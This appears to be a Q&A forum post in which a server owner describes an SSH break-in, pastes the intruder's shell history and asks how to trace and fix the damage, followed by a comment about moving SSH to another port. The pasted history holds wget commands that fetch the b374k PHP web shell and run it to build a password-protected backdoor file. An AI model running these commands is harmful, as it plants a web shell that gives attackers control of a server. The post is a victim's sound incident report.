0

Today I turned on the PC and I found a lot of warnings of attempts to access my accounts (google, yandex, namesilo, vultr, etc. etc. etc.).

Among the various access attempts there has been a successful one on my server via ssh.

I found in the shell all the commands that the intruder launched. (From the bottom to the top)

cd .htpasswds
ls
cd /home/pornupda/
wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/b374k-shell/b374k-2.8.php -O b3.php
rm b3.php
rf b3.php
php b3.php -o b37.php -p b374k
php -f b3.php -o b37.php -p b374k
wget https://raw.githubusercontent.com/b374k/b374k/master/index.php -O b3.php
nano footer.php
ls
cd here-was-the-domain-of-one-of-my-sites.com
ls
cd www
ls
cd /var
ls
cd /etc
ls
cd pornupda
ls
cd home
ls
cd ../
ls
cd
cd ../
ls
cd cdn
cd ../
ls
cd zip_sites
ls
cd ../
nano popads.php
ls
cd /var/www/here-was-the-domain-of-one-of-my-sites.com
cd
ls
nano index.php
ls
cd admin
ls
cd here-was-the-domain-of-one-of-my-sites.com
ls
cd www
ls
cd var
ls
cd ..
ls
cd
whoami
ls

I found some files that the intruder has modified, adding links to this site: https://xxx-pass.com, but I'm still looking because I'm not sure I've found them all. There are many sites on my server.

Above all, the commands with wget leave me puzzled, has downloaded something, done something but I have no clear what those files do, they seem to look for js or css files, and try to enter passwords somewhere, I'm not sure.

In addition, the intruder has done strange things, like cd /home/pornupda/, there is no "pornupda" user on my server, I don't know who it is.

Can you help me to understand what this intruder did and how to fix it?

Surely there is a command (maybe grep) that allows you to see all the files changed in the last days in a directory, but I don't know what it is, can you help me?

Or a way through the logs to figure out where the intruder went, this is the ip 213.152.161.229 that google indicates in the failed access attempts.

Do you have any suggestions to understand what the intruder has done and how to prevent it from happening again in the future?

On my server some time ago I installed fail2ban, which blocks many attempts to access ssh, I think it is strange that this intruder has succeeded.

So, in the meantime I changed the server password, ssh password, disabled password authentication etc. etc. and I will spend the rest of the day changing the password of mail, paypal, bank etc ...

(P.S. this site https://xxx-pass.com would like to save your passwords for you, but the guy who manages the site, steals passwords, I don't think it is appropriate to entrust your password to him ...)

  • Not an answer to your question, but unless you need SSH access on port 22 for some explicit reason, the best way to thwart brute force attackers is to move your access to a non-standard port. My server would get 2,000+ logon attempts per day before I changed the port SSH uses. It adds a whole layer of complexity to trying to log into a server; there's tens of thousands of ports to choose from, which means each attempt has a roughly 1/65535 chance to even get a crack at guessing your username/password. – Minty Jan 26 at 21:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.